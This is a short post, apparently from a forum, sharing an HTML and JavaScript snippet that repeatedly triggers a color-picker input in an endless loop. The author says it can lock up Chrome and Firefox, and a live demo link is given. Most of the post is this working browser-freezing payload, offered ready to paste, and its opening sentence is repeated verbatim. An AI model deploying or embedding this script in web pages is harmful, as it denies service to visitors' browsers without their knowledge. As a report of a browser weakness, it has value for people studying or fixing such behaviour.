The following script spam the color choosing box, and unlike the alert box, it can really lock your browser (tested on Chrome/Firefox on Windows and on Chrome on Ubuntu).
<input type="color" id="elem">
<script>
async function f() {
while (1) {
document.getElementById('elem').click();
await new Promise(resolve => setTimeout(resolve, 1));
}
}
f();
</script>
The following script spam the color choosing box, and unlike the alert box, it can really lock your browser (tested on Chrome/Firefox on Windows and on Chrome on Ubuntu).
See example on https://output.jsbin.com/lefonuz.